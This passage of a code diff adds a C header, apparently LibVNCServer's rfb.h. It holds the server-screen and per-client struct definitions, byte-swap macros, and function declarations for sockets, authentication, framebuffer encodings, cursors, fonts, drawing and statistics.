inetdSock; + rfbBool inetdInitDone; + + int udpPort; + SOCKET udpSock; + struct _rfbClientRec* udpClient; + rfbBool udpSockConnected; + struct sockaddr_in udpRemoteAddr; + + int maxClientWait; + + /* http stuff */ + rfbBool httpInitDone; + rfbBool httpEnableProxyConnect; + int httpPort; + char* httpDir; + SOCKET httpListenSock; + SOCKET httpSock; + + rfbPasswordCheckProcPtr passwordCheck; + void* authPasswdData; + /** If rfbAuthPasswdData is given a list, this is the first + view only password. */ + int authPasswdFirstViewOnly; + + /** send only this many rectangles in one update */ + int maxRectsPerUpdate; + /** this is the amount of milliseconds to wait at least before sending + * an update. */ + int deferUpdateTime; +#ifdef TODELETE + char* screen; +#endif + rfbBool alwaysShared; + rfbBool neverShared; + rfbBool dontDisconnect; + struct _rfbClientRec* clientHead; + struct _rfbClientRec* pointerClient; /**< "Mutex" for pointer events */ + + + /* cursor */ + int cursorX, cursorY,underCursorBufferLen; + char* underCursorBuffer; + rfbBool dontConvertRichCursorToXCursor; + struct rfbCursor* cursor; + + /** + * the frameBuffer has to be supplied by the serving process. + * The buffer will not be freed by + */ + char* frameBuffer; + rfbKbdAddEventProcPtr kbdAddEvent; + rfbKbdReleaseAllKeysProcPtr kbdReleaseAllKeys; + rfbPtrAddEventProcPtr ptrAddEvent; + rfbSetXCutTextProcPtr setXCutText; + rfbGetCursorProcPtr getCursorPtr; + rfbSetTranslateFunctionProcPtr setTranslateFunction; + rfbSetSingleWindowProcPtr setSingleWindow; + rfbSetServerInputProcPtr setServerInput; + rfbFileTransferPermitted getFileTransferPermission; + rfbSetTextChat setTextChat; + + /** newClientHook is called just after a new client is created */ + rfbNewClientHookPtr newClientHook; + /** displayHook is called just before a frame buffer update */ + rfbDisplayHookPtr displayHook; + + /** These hooks are called to pass keyboard state back to the client */ + rfbGetKeyboardLedStateHookPtr getKeyboardLedStateHook; + +#ifdef LIBVNCSERVER_HAVE_LIBPTHREAD + MUTEX(cursorMutex); + rfbBool backgroundLoop; +#endif + + /** if TRUE, an ignoring signal handler is installed for SIGPIPE */ + rfbBool ignoreSIGPIPE; + + /** if not zero, only a slice of this height is processed every time + * an update should be sent. This should make working on a slow + * link more interactive. */ + int progressiveSliceHeight; + + in_addr_t listenInterface; + int deferPtrUpdateTime; + + /** handle as many input events as possible (default off) */ + rfbBool handleEventsEagerly; + + /** rfbEncodingServerIdentity */ + char *versionString; + + /** What does the server tell the new clients which version it supports */ + int protocolMajorVersion; + int protocolMinorVersion; + + /** command line authorization of file transfers */ + rfbBool permitFileTransfer; + + /** displayFinishedHook is called just after a frame buffer update */ + rfbDisplayFinishedHookPtr displayFinishedHook; + /** xvpHook is called to handle an xvp client message */ + rfbXvpHookPtr xvpHook; + char *sslkeyfile; + char *sslcertfile; + int ipv6port; /**< The port to listen on when using IPv6. */ + char* listen6Interface; + /* We have an additional IPv6 listen socket since there are systems that + don't support dual binding sockets under *any* circumstances, for + instance OpenBSD */ + SOCKET listen6Sock; + int http6Port; + SOCKET httpListen6Sock; +} rfbScreenInfo, *rfbScreenInfoPtr; + + +/** + * rfbTranslateFnType is the type of translation functions. + */ + +typedef void (*rfbTranslateFnType)(char *table, rfbPixelFormat *in, + rfbPixelFormat *out, + char *iptr, char *optr, + int bytesBetweenInputLines, + int width, int height); + + +/* region stuff */ + +struct sraRegion; +typedef struct sraRegion* sraRegionPtr; + +/* + * Per-client structure. + */ + +typedef void (*ClientGoneHookPtr)(struct _rfbClientRec* cl); + +typedef struct _rfbFileTransferData { + int fd; + int compressionEnabled; + int fileSize; + int numPackets; + int receiving; + int sending; +} rfbFileTransferData; + + +typedef struct _rfbStatList { + uint32_t type; + uint32_t sentCount; + uint32_t bytesSent; + uint32_t bytesSentIfRaw; + uint32_t rcvdCount; + uint32_t bytesRcvd; + uint32_t bytesRcvdIfRaw; + struct _rfbStatList *Next; +} rfbStatList; + +typedef struct _rfbSslCtx rfbSslCtx; +typedef struct _wsCtx wsCtx; + +typedef struct _rfbClientRec { + + /** back pointer to the screen */ + rfbScreenInfoPtr screen; + + /** points to a scaled version of the screen buffer in cl->scaledScreenList */ + rfbScreenInfoPtr scaledScreen; + /** how did the client tell us it wanted the screen changed? Ultra style or palm style? */ + rfbBool PalmVNC; + + + /** private data. You should put any application client specific data + * into a struct and let clientData point to it. Don't forget to + * free the struct via clientGoneHook! + * + * This is useful if the IO functions have to behave client specific. + */ + void* clientData; + ClientGoneHookPtr clientGoneHook; + + SOCKET sock; + char *host; + + /* RFB protocol minor version number */ + int protocolMajorVersion; + int protocolMinorVersion; + +#ifdef LIBVNCSERVER_HAVE_LIBPTHREAD + pthread_t client_thread; +#endif + + /* Note that the RFB_INITIALISATION_SHARED state is provided to support + clients that under some circumstances do not send a ClientInit message. + In particular the Mac OS X built-in VNC client (with protocolMinorVersion + == 889) is one of those. However, it only requires this support under + special circumstances that can only be determined during the initial + authentication. If the right conditions are met this state will be + set (see the auth.c file) when rfbProcessClientInitMessage is called. + + If the state is RFB_INITIALISATION_SHARED we should not expect to receive + any ClientInit message, but instead should proceed to the next stage + of initialisation as though an implicit ClientInit message was received + with a shared-flag of true. (There is currently no corresponding + RFB_INITIALISATION_NOTSHARED state to represent an implicit ClientInit + message with a shared-flag of false because no known existing client + requires such support at this time.) + + Note that software using LibVNCServer to provide a VNC server will only + ever have a chance to see the state field set to + RFB_INITIALISATION_SHARED if the software is multi-threaded and manages + to examine the state field during the extremely brief window after the + 'None' authentication type selection has been received from the built-in + OS X VNC client and before the rfbProcessClientInitMessage function is + called -- control cannot return to the caller during this brief window + while the state field is set to RFB_INITIALISATION_SHARED. */ + + /** Possible client states: */ + enum { + RFB_PROTOCOL_VERSION, /**< establishing protocol version */ + RFB_SECURITY_TYPE, /**< negotiating security (RFB v.3.7) */ + RFB_AUTHENTICATION, /**< authenticating */ + RFB_INITIALISATION, /**< sending initialisation messages */ + RFB_NORMAL, /**< normal protocol messages */ + + /* Ephemeral internal-use states that will never be seen by software + * using LibVNCServer to provide services: */ + + RFB_INITIALISATION_SHARED /**< sending initialisation messages with implicit shared-flag already true */ + } state; + + rfbBool reverseConnection; + rfbBool onHold; + rfbBool readyForSetColourMapEntries; + rfbBool useCopyRect; + int preferredEncoding; + int correMaxWidth, correMaxHeight; + + rfbBool viewOnly; + + /* The following member is only used during VNC authentication */ + uint8_t authChallenge[CHALLENGESIZE]; + + /* The following members represent the update needed to get the client's + framebuffer from its present state to the current state of our + framebuffer. + + If the client does not accept CopyRect encoding then the update is + simply represented as the region of the screen which has been modified + (modifiedRegion). + + If the client does accept CopyRect encoding, then the update consists of + two parts. First we have a single copy from one region of the screen to + another (the destination of the copy is copyRegion), and second we have + the region of the screen which has been modified in some other way + (modifiedRegion). + + Although the copy is of a single region, this region may have many + rectangles. When sending an update, the copyRegion is always sent + before the modifiedRegion. This is because the modifiedRegion may + overlap parts of the screen which are in the source of the copy. + + In fact during normal processing, the modifiedRegion may even overlap + the destination copyRegion. Just before an update is sent we remove + from the copyRegion anything in the modifiedRegion. */ + + sraRegionPtr copyRegion; /**< the destination region of the copy */ + int copyDX, copyDY; /**< the translation by which the copy happens */ + + sraRegionPtr modifiedRegion; + + /** As part of the FramebufferUpdateRequest, a client can express interest + in a subrectangle of the whole framebuffer. This is stored in the + requestedRegion member. In the normal case this is the whole + framebuffer if the client is ready, empty if it's not. */ + + sraRegionPtr requestedRegion; + + /** The following member represents the state of the "deferred update" timer + - when the framebuffer is modified and the client is ready, in most + cases it is more efficient to defer sending the update by a few + milliseconds so that several changes to the framebuffer can be combined + into a single update. */ + + struct timeval startDeferring; + struct timeval startPtrDeferring; + int lastPtrX; + int lastPtrY; + int lastPtrButtons; + + /** translateFn points to the translation function which is used to copy + and translate a rectangle from the framebuffer to an output buffer. */ + + rfbTranslateFnType translateFn; + char *translateLookupTable; + rfbPixelFormat format; + + /** + * UPDATE_BUF_SIZE must be big enough to send at least one whole line of the + * framebuffer. So for a max screen width of say 2K with 32-bit pixels this + * means 8K minimum. + */ + +#define UPDATE_BUF_SIZE 30000 + + char updateBuf[UPDATE_BUF_SIZE]; + int ublen; + + /* statistics */ + struct _rfbStatList *statEncList; + struct _rfbStatList *statMsgList; + int rawBytesEquivalent; + int bytesSent; + +#ifdef LIBVNCSERVER_HAVE_LIBZ + /* zlib encoding -- necessary compression state info per client */ + + struct z_stream_s compStream; + rfbBool compStreamInited; + uint32_t zlibCompressLevel; +#endif +#if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) + /** the quality level is also used by ZYWRLE and TightPng */ + int tightQualityLevel; + +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + /* tight encoding -- preserve zlib streams' state for each client */ + z_stream zsStruct[4]; + rfbBool zsActive[4]; + int zsLevel[4]; + int tightCompressLevel; +#endif +#endif + + /* Ultra Encoding support */ + rfbBool compStreamInitedLZO; + char *lzoWrkMem; + + rfbFileTransferData fileTransfer; + + int lastKeyboardLedState; /**< keep track of last value so we can send *change* events */ + rfbBool enableSupportedMessages; /**< client supports SupportedMessages encoding */ + rfbBool enableSupportedEncodings; /**< client supports SupportedEncodings encoding */ + rfbBool enableServerIdentity; /**< client supports ServerIdentity encoding */ + rfbBool enableKeyboardLedState; /**< client supports KeyboardState encoding */ + rfbBool enableLastRectEncoding; /**< client supports LastRect encoding */ + rfbBool enableCursorShapeUpdates; /**< client supports cursor shape updates */ + rfbBool enableCursorPosUpdates; /**< client supports cursor position updates */ + rfbBool useRichCursorEncoding; /**< rfbEncodingRichCursor is preferred */ + rfbBool cursorWasChanged; /**< cursor shape update should be sent */ + rfbBool cursorWasMoved; /**< cursor position update should be sent */ + int cursorX,cursorY; /**< the coordinates of the cursor, + if enableCursorShapeUpdates = FALSE */ + + rfbBool useNewFBSize; /**< client supports NewFBSize encoding */ + rfbBool newFBSizePending; /**< framebuffer size was changed */ + + struct _rfbClientRec *prev; + struct _rfbClientRec *next; + +#ifdef LIBVNCSERVER_HAVE_LIBPTHREAD + /** whenever a client is referenced, the refCount has to be incremented + and afterwards decremented, so that the client is not cleaned up + while being referenced. + Use the functions rfbIncrClientRef(cl) and rfbDecrClientRef(cl); + */ + int refCount; + MUTEX(refCountMutex); + COND(deleteCond); + + MUTEX(outputMutex); + MUTEX(updateMutex); + COND(updateCond); +#endif + +#ifdef LIBVNCSERVER_HAVE_LIBZ + void* zrleData; + int zywrleLevel; + int zywrleBuf[rfbZRLETileWidth * rfbZRLETileHeight]; +#endif + + /** if progressive updating is on, this variable holds the current + * y coordinate of the progressive slice. */ + int progressiveSliceY; + + rfbExtensionData* extensions; + + /** for threaded zrle */ + char *zrleBeforeBuf; + void *paletteHelper; + + /** for thread safety for rfbSendFBUpdate() */ +#ifdef LIBVNCSERVER_HAVE_LIBPTHREAD +#define LIBVNCSERVER_SEND_MUTEX + MUTEX(sendMutex); +#endif + + /* buffers to hold pixel data before and after encoding. + per-client for thread safety */ + char *beforeEncBuf; + int beforeEncBufSize; + char *afterEncBuf; + int afterEncBufSize; + int afterEncBufLen; +#if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) + uint32_t tightEncoding; /* rfbEncodingTight or rfbEncodingTightPng */ +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + /* TurboVNC Encoding support (extends TightVNC) */ + int turboSubsampLevel; + int turboQualityLevel; /* 1-100 scale */ +#endif +#endif + rfbSslCtx *sslctx; + wsCtx *wsctx; + char *wspath; /* Requests path component */ +} rfbClientRec, *rfbClientPtr; + +/** + * This macro is used to test whether there is a framebuffer update needing to + * be sent to the client. + */ + +#define FB_UPDATE_PENDING(cl) \ + (((cl)->enableCursorShapeUpdates && (cl)->cursorWasChanged) || \ + (((cl)->enableCursorShapeUpdates == FALSE && \ + ((cl)->cursorX != (cl)->screen->cursorX || \ + (cl)->cursorY != (cl)->screen->cursorY))) || \ + ((cl)->useNewFBSize && (cl)->newFBSizePending) || \ + ((cl)->enableCursorPosUpdates && (cl)->cursorWasMoved) || \ + !sraRgnEmpty((cl)->copyRegion) || !sraRgnEmpty((cl)->modifiedRegion)) + +/* + * Macros for endian swapping. + */ + +#define Swap16(s) ((((s) & 0xff) << 8) | (((s) >> 8) & 0xff)) + +#define Swap24(l) ((((l) & 0xff) << 16) | (((l) >> 16) & 0xff) | \ + (((l) & 0x00ff00))) + +#define Swap32(l) ((((l) >> 24) & 0x000000ff)| \ + (((l) & 0x00ff0000) >> 8) | \ + (((l) & 0x0000ff00) << 8) | \ + (((l) & 0x000000ff) << 24)) + + +extern char rfbEndianTest; + +#define Swap16IfLE(s) (rfbEndianTest ? Swap16(s) : (s)) +#define Swap24IfLE(l) (rfbEndianTest ? Swap24(l) : (l)) +#define Swap32IfLE(l) (rfbEndianTest ? Swap32(l) : (l)) + +/* UltraVNC uses some windows structures unmodified, so the viewer expects LittleEndian Data */ +#define Swap16IfBE(s) (rfbEndianTest ? (s) : Swap16(s)) +#define Swap24IfBE(l) (rfbEndianTest ? (l) : Swap24(l)) +#define Swap32IfBE(l) (rfbEndianTest ? (l) : Swap32(l)) + +/* sockets.c */ + +extern int rfbMaxClientWait; + +extern void rfbInitSockets(rfbScreenInfoPtr rfbScreen); +extern void rfbShutdownSockets(rfbScreenInfoPtr rfbScreen); +extern void rfbDisconnectUDPSock(rfbScreenInfoPtr rfbScreen); +extern void rfbCloseClient(rfbClientPtr cl); +extern int rfbReadExact(rfbClientPtr cl, char *buf, int len); +extern int rfbReadExactTimeout(rfbClientPtr cl, char *buf, int len,int timeout); +extern int rfbPeekExactTimeout(rfbClientPtr cl, char *buf, int len,int timeout); +extern int rfbWriteExact(rfbClientPtr cl, const char *buf, int len); +extern int rfbCheckFds(rfbScreenInfoPtr rfbScreen,long usec); +extern int rfbConnect(rfbScreenInfoPtr rfbScreen, char* host, int port); +extern int rfbConnectToTcpAddr(char* host, int port); +extern int rfbListenOnTCPPort(int port, in_addr_t iface); +extern int rfbListenOnTCP6Port(int port, const char* iface); +extern int rfbListenOnUDPPort(int port, in_addr_t iface); +extern int rfbStringToAddr(char* string,in_addr_t* addr); +extern rfbBool rfbSetNonBlocking(int sock); + +#ifdef LIBVNCSERVER_WITH_WEBSOCKETS +/* websockets.c */ + +extern rfbBool webSocketsCheck(rfbClientPtr cl); +extern rfbBool webSocketCheckDisconnect(rfbClientPtr cl); +extern int webSocketsEncode(rfbClientPtr cl, const char *src, int len, char **dst); +extern int webSocketsDecode(rfbClientPtr cl, char *dst, int len); +extern rfbBool webSocketsHasDataInBuffer(rfbClientPtr cl); +#endif + +/* rfbserver.c */ + +/* Routines to iterate over the client list in a thread-safe way. + Only a single iterator can be in use at a time process-wide. */ +typedef struct rfbClientIterator *rfbClientIteratorPtr; + +extern void rfbClientListInit(rfbScreenInfoPtr rfbScreen); +extern rfbClientIteratorPtr rfbGetClientIterator(rfbScreenInfoPtr rfbScreen); +extern rfbClientPtr rfbClientIteratorNext(rfbClientIteratorPtr iterator); +extern void rfbReleaseClientIterator(rfbClientIteratorPtr iterator); +extern void rfbIncrClientRef(rfbClientPtr cl); +extern void rfbDecrClientRef(rfbClientPtr cl); + +extern void rfbNewClientConnection(rfbScreenInfoPtr rfbScreen,int sock); +extern rfbClientPtr rfbNewClient(rfbScreenInfoPtr rfbScreen,int sock); +extern rfbClientPtr rfbNewUDPClient(rfbScreenInfoPtr rfbScreen); +extern rfbClientPtr rfbReverseConnection(rfbScreenInfoPtr rfbScreen,char *host, int port); +extern void rfbClientConnectionGone(rfbClientPtr cl); +extern void rfbProcessClientMessage(rfbClientPtr cl); +extern void rfbClientConnFailed(rfbClientPtr cl, const char *reason); +extern void rfbNewUDPConnection(rfbScreenInfoPtr rfbScreen,int sock); +extern void rfbProcessUDPInput(rfbScreenInfoPtr rfbScreen); +extern rfbBool rfbSendFramebufferUpdate(rfbClientPtr cl, sraRegionPtr updateRegion); +extern rfbBool rfbSendRectEncodingRaw(rfbClientPtr cl, int x,int y,int w,int h); +extern rfbBool rfbSendUpdateBuf(rfbClientPtr cl); +extern void rfbSendServerCutText(rfbScreenInfoPtr rfbScreen,char *str, int len); +extern rfbBool rfbSendCopyRegion(rfbClientPtr cl,sraRegionPtr reg,int dx,int dy); +extern rfbBool rfbSendLastRectMarker(rfbClientPtr cl); +extern rfbBool rfbSendNewFBSize(rfbClientPtr cl, int w, int h); +extern rfbBool rfbSendSetColourMapEntries(rfbClientPtr cl, int firstColour, int nColours); +extern void rfbSendBell(rfbScreenInfoPtr rfbScreen); + +extern char *rfbProcessFileTransferReadBuffer(rfbClientPtr cl, uint32_t length); +extern rfbBool rfbSendFileTransferChunk(rfbClientPtr cl); +extern rfbBool rfbSendDirContent(rfbClientPtr cl, int length, char *buffer); +extern rfbBool rfbSendFileTransferMessage(rfbClientPtr cl, uint8_t contentType, uint8_t contentParam, uint32_t size, uint32_t length, const char *buffer); +extern char *rfbProcessFileTransferReadBuffer(rfbClientPtr cl, uint32_t length); +extern rfbBool rfbProcessFileTransfer(rfbClientPtr cl, uint8_t contentType, uint8_t contentParam, uint32_t size, uint32_t length); + +void rfbGotXCutText(rfbScreenInfoPtr rfbScreen, char *str, int len); + +/* translate.c */ + +extern rfbBool rfbEconomicTranslate; + +extern void rfbTranslateNone(char *table, rfbPixelFormat *in, + rfbPixelFormat *out, + char *iptr, char *optr, + int bytesBetweenInputLines, + int width, int height); +extern rfbBool rfbSetTranslateFunction(rfbClientPtr cl); +extern rfbBool rfbSetClientColourMap(rfbClientPtr cl, int firstColour, int nColours); +extern void rfbSetClientColourMaps(rfbScreenInfoPtr rfbScreen, int firstColour, int nColours); + +/* httpd.c */ + +extern void rfbHttpInitSockets(rfbScreenInfoPtr rfbScreen); +extern void rfbHttpShutdownSockets(rfbScreenInfoPtr rfbScreen); +extern void rfbHttpCheckFds(rfbScreenInfoPtr rfbScreen); + + + +/* auth.c */ + +extern void rfbAuthNewClient(rfbClientPtr cl); +extern void rfbProcessClientSecurityType(rfbClientPtr cl); +extern void rfbAuthProcessClientMessage(rfbClientPtr cl); +extern void rfbRegisterSecurityHandler(rfbSecurityHandler* handler); +extern void rfbUnregisterSecurityHandler(rfbSecurityHandler* handler); + +/* rre.c */ + +extern rfbBool rfbSendRectEncodingRRE(rfbClientPtr cl, int x,int y,int w,int h); + + +/* corre.c */ + +extern rfbBool rfbSendRectEncodingCoRRE(rfbClientPtr cl, int x,int y,int w,int h); + + +/* hextile.c */ + +extern rfbBool rfbSendRectEncodingHextile(rfbClientPtr cl, int x, int y, int w, + int h); + +/* ultra.c */ + +/* Set maximum ultra rectangle size in pixels. Always allow at least + * two scan lines. + */ +#define ULTRA_MAX_RECT_SIZE (128*256) +#define ULTRA_MAX_SIZE(min) ((( min * 2 ) > ULTRA_MAX_RECT_SIZE ) ? \ + ( min * 2 ) : ULTRA_MAX_RECT_SIZE ) + +extern rfbBool rfbSendRectEncodingUltra(rfbClientPtr cl, int x,int y,int w,int h); + + +#ifdef LIBVNCSERVER_HAVE_LIBZ +/* zlib.c */ + +/** Minimum zlib rectangle size in bytes. Anything smaller will + * not compress well due to overhead. + */ +#define VNC_ENCODE_ZLIB_MIN_COMP_SIZE (17) + +/* Set maximum zlib rectangle size in pixels. Always allow at least + * two scan lines. + */ +#define ZLIB_MAX_RECT_SIZE (128*256) +#define ZLIB_MAX_SIZE(min) ((( min * 2 ) > ZLIB_MAX_RECT_SIZE ) ? \ + ( min * 2 ) : ZLIB_MAX_RECT_SIZE ) + +extern rfbBool rfbSendRectEncodingZlib(rfbClientPtr cl, int x, int y, int w, + int h); + +#ifdef LIBVNCSERVER_HAVE_LIBJPEG +/* tight.c */ + +#define TIGHT_DEFAULT_COMPRESSION 6 +#define TURBO_DEFAULT_SUBSAMP 0 + +extern rfbBool rfbTightDisableGradient; + +extern int rfbNumCodedRectsTight(rfbClientPtr cl, int x,int y,int w,int h); + +extern rfbBool rfbSendRectEncodingTight(rfbClientPtr cl, int x,int y,int w,int h); +extern rfbBool rfbSendTightHeader(rfbClientPtr cl, int x, int y, int w, int h); +extern rfbBool rfbSendCompressedDataTight(rfbClientPtr cl, char *buf, int compressedLen); + +#if defined(LIBVNCSERVER_HAVE_LIBPNG) +extern rfbBool rfbSendRectEncodingTightPng(rfbClientPtr cl, int x,int y,int w,int h); +#endif + +#endif +#endif + + +/* cursor.c */ + +typedef struct rfbCursor { + /** set this to true if LibVNCServer has to free this cursor */ + rfbBool cleanup, cleanupSource, cleanupMask, cleanupRichSource; + unsigned char *source; /**< points to bits */ + unsigned char *mask; /**< points to bits */ + unsigned short width, height, xhot, yhot; /**< metrics */ + unsigned short foreRed, foreGreen, foreBlue; /**< device-independent colour */ + unsigned short backRed, backGreen, backBlue; /**< device-independent colour */ + unsigned char *richSource; /**< source bytes for a rich cursor */ + unsigned char *alphaSource; /**< source for alpha blending info */ + rfbBool alphaPreMultiplied; /**< if richSource already has alpha applied */ +} rfbCursor, *rfbCursorPtr; +extern unsigned char rfbReverseByte[0x100]; + +extern rfbBool rfbSendCursorShape(rfbClientPtr cl/*, rfbScreenInfoPtr pScreen*/); +extern rfbBool rfbSendCursorPos(rfbClientPtr cl); +extern void rfbConvertLSBCursorBitmapOrMask(int width,int height,unsigned char* bitmap); +extern rfbCursorPtr rfbMakeXCursor(int width,int height,char* cursorString,char* maskString); +extern char* rfbMakeMaskForXCursor(int width,int height,char* cursorString); +extern char* rfbMakeMaskFromAlphaSource(int width,int height,unsigned char* alphaSource); +extern void rfbMakeXCursorFromRichCursor(rfbScreenInfoPtr rfbScreen,rfbCursorPtr cursor); +extern void rfbMakeRichCursorFromXCursor(rfbScreenInfoPtr rfbScreen,rfbCursorPtr cursor); +extern void rfbFreeCursor(rfbCursorPtr cursor); +extern void rfbSetCursor(rfbScreenInfoPtr rfbScreen,rfbCursorPtr c); + +/** cursor handling for the pointer */ +extern void rfbDefaultPtrAddEvent(int buttonMask,int x,int y,rfbClientPtr cl); + +/* zrle.c */ +#ifdef LIBVNCSERVER_HAVE_LIBZ +extern rfbBool rfbSendRectEncodingZRLE(rfbClientPtr cl, int x, int y, int w,int h); +#endif + +/* stats.c */ + +extern void rfbResetStats(rfbClientPtr cl); +extern void rfbPrintStats(rfbClientPtr cl); + +/* font.c */ + +typedef struct rfbFontData { + unsigned char* data; + /** + metaData is a 256*5 array: + for each character + (offset,width,height,x,y) + */ + int* metaData; +} rfbFontData,* rfbFontDataPtr; + +int rfbDrawChar(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font,int x,int y,unsigned char c,rfbPixel colour); +void rfbDrawString(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font,int x,int y,const char* string,rfbPixel colour); +/** if colour==backColour, background is transparent */ +int rfbDrawCharWithClip(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font,int x,int y,unsigned char c,int x1,int y1,int x2,int y2,rfbPixel colour,rfbPixel backColour); +void rfbDrawStringWithClip(rfbScreenInfoPtr rfbScreen,rfbFontDataPtr font,int x,int y,const char* string,int x1,int y1,int x2,int y2,rfbPixel colour,rfbPixel backColour); +int rfbWidthOfString(rfbFontDataPtr font,const char* string); +int rfbWidthOfChar(rfbFontDataPtr font,unsigned char c); +void rfbFontBBox(rfbFontDataPtr font,unsigned char c,int* x1,int* y1,int* x2,int* y2); +/** this returns the smallest box enclosing any character of font. */ +void rfbWholeFontBBox(rfbFontDataPtr font,int *x1, int *y1, int *x2, int *y2); + +/** dynamically load a linux console font (4096 bytes, 256 glyphs a 8x16 */ +rfbFontDataPtr rfbLoadConsoleFont(char *filename); +/** free a dynamically loaded font */ +void rfbFreeFont(rfbFontDataPtr font); + +/* draw.c */ + +void rfbFillRect(rfbScreenInfoPtr s,int x1,int y1,int x2,int y2,rfbPixel col); +void rfbDrawPixel(rfbScreenInfoPtr s,int x,int y,rfbPixel col); +void rfbDrawLine(rfbScreenInfoPtr s,int x1,int y1,int x2,int y2,rfbPixel col); + +/* selbox.c */ + +/** this opens a modal select box. list is an array of strings, the end marked + with a NULL. + It returns the index in the list or -1 if cancelled or something else + wasn't kosher. */ +typedef void (*SelectionChangedHookPtr)(int _index); +extern int rfbSelectBox(rfbScreenInfoPtr rfbScreen, + rfbFontDataPtr font, char** list, + int x1, int y1, int x2, int y2, + rfbPixel foreColour, rfbPixel backColour, + int border,SelectionChangedHookPtr selChangedHook); + +/* cargs.c */ + +extern void rfbUsage(void); +extern void rfbPurgeArguments(int* argc,int* position,int count,char *argv[]); +extern rfbBool rfbProcessArguments(rfbScreenInfoPtr rfbScreen,int* argc, char *argv[]); +extern rfbBool rfbProcessSizeArguments(int* width,int* height,int* bpp,int* argc, char *argv[]); + +/* main.c */ + +extern void rfbLogEnable(int enabled); +typedef void (*rfbLogProc)(const char *format, ...); +extern rfbLogProc rfbLog, rfbErr; +extern void rfbLogPerror(const char *str); + +void rfbScheduleCopyRect(rfbScreenInfoPtr rfbScreen,int x1,int y1,int x2,int y2,int dx,int dy); +void rfbScheduleCopyRegion(rfbScreenInfoPtr rfbScreen,sraRegionPtr copyRegion,int dx,int dy); + +void rfbDoCopyRect(rfbScreenInfoPtr rfbScreen,int x1,int y1,int x2,int y2,int dx,int dy); +void rfbDoCopyRegion(rfbScreenInfoPtr rfbScreen,sraRegionPtr copyRegion,int dx,int dy); + +void rfbMarkRectAsModified(rfbScreenInfoPtr rfbScreen,int x1,int y1,int x2,int y2); +void rfbMarkRegionAsModified(rfbScreenInfoPtr rfbScreen,sraRegionPtr modRegion); +void rfbDoNothingWithClient(rfbClientPtr cl); +enum rfbNewClientAction defaultNewClientHook(rfbClientPtr cl); +void rfbRegisterProtocolExtension(rfbProtocolExtension* extension); +void rfbUnregisterProtocolExtension(rfbProtocolExtension* extension); +struct _rfbProtocolExtension* rfbGetExtensionIterator(); +void rfbReleaseExtensionIterator(); +rfbBool rfbEnableExtension(rfbClientPtr cl, rfbProtocolExtension* extension, + void* data); +rfbBool rfbDisableExtension(rfbClientPtr cl, rfbProtocolExtension* extension); +void* rfbGetExtensionClientData(rfbClientPtr cl, rfbProtocolExtension* extension); + +/** to check against plain passwords */ +rfbBool rfbCheckPasswordByList(rfbClientPtr cl,const char* response,int len); + +/* functions to make a vnc server */ +extern rfbScreenInfoPtr rfbGetScreen(int* argc,char** argv, + int width,int height,int bitsPerSample,int samplesPerPixel, + int bytesPerPixel); +extern void rfbInitServer(rfbScreenInfoPtr rfbScreen); +extern void rfbShutdownServer(rfbScreenInfoPtr rfbScreen,rfbBool disconnectClients); +extern void rfbNewFramebuffer(rfbScreenInfoPtr rfbScreen,char *framebuffer, + int width,int height, int bitsPerSample,int samplesPerPixel, + int bytesPerPixel); + +extern void rfbScreenCleanup(rfbScreenInfoPtr screenInfo); +extern void rfbSetServerVersionIdentity(rfbScreenInfoPtr screen, char *fmt, ...); + +/* functions to accept/refuse a client that has been put on hold + by a NewClientHookPtr function. Must not be called in other + situations. */ +extern void rfbStartOnHoldClient(rfbClientPtr cl); +extern void rfbRefuseOnHoldClient(rfbClientPtr cl); + +/* call one of these two functions to service the vnc clients. + usec are the microseconds the select on the fds waits. + if you are using the event loop, set this to some value > 0, so the + server doesn't get a high load just by listening. + rfbProcessEvents() returns TRUE if an update was pending. */ + +extern void rfbRunEventLoop(rfbScreenInfoPtr screenInfo, long usec, rfbBool runInBackground); +extern rfbBool rfbProcessEvents(rfbScreenInfoPtr screenInfo,long usec); +extern rfbBool rfbIsActive(rfbScreenInfoPtr screenInfo); + +/* TightVNC file transfer extension */ +void rfbRegisterTightVNCFileTransferExtension(); +void rfbUnregisterTightVNCFileTransferExtension(); + +/* Statistics */ +extern char *messageNameServer2Client(uint32_t type, char *buf, int len); +extern char *messageNameClient2Server(uint32_t type, char *buf, int len); +extern char *encodingName(uint32_t enc, char *buf, int len); + +extern rfbStatList *rfbStatLookupEncoding(rfbClientPtr cl, uint32_t type); +extern rfbStatList *rfbStatLookupMessage(rfbClientPtr cl, uint32_t type); + +/* Each call to rfbStatRecord* adds one to the rect count for that type */ +extern void rfbStatRecordEncodingSent(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw); +extern void rfbStatRecordEncodingSentAdd(rfbClientPtr cl, uint32_t type, int byteCount); /* Specifically for tight encoding */ +extern void rfbStatRecordEncodingRcvd(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw); +extern void rfbStatRecordMessageSent(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw); +extern void rfbStatRecordMessageRcvd(rfbClientPtr cl, uint32_t type, int byteCount, int byteIfRaw); +extern void rfbResetStats(rfbClientPtr cl); +extern void rfbPrintStats(rfbClientPtr cl); + +extern int rfbStatGetSentBytes(rfbClientPtr cl); +extern int rfbStatGetSentBytesIfRaw(rfbClientPtr cl); +extern int rfbStatGetRcvdBytes(rfbClientPtr cl); +extern int rfbStatGetRcvdBytesIfRaw(rfbClientPtr cl); +extern int rfbStatGetMessageCountSent(rfbClientPtr cl, uint32_t type); +extern int rfbStatGetMessageCountRcvd(rfbClientPtr cl, uint32_t type); +extern int rfbStatGetEncodingCountSent(rfbClientPtr cl, uint32_t type); +extern int rfbStatGetEncodingCountRcvd(rfbClientPtr cl, uint32_t type); + +/** Set which version you want to advertise 3.3, 3.6, 3.7 and 3.8 are currently supported*/ +extern void rfbSetProtocolVersion(rfbScreenInfoPtr rfbScreen, int major_, int minor_); + +/** send a TextChat message to a client */ +extern rfbBool rfbSendTextChatMessage(rfbClientPtr cl, uint32_t length, char *buffer); + + +/* + * Additions for Qt event loop integration + * Original idea taken from vino. + */ +rfbBool rfbProcessNewConnection(rfbScreenInfoPtr rfbScreen); +rfbBool rfbUpdateClient(rfbClientPtr cl); + + 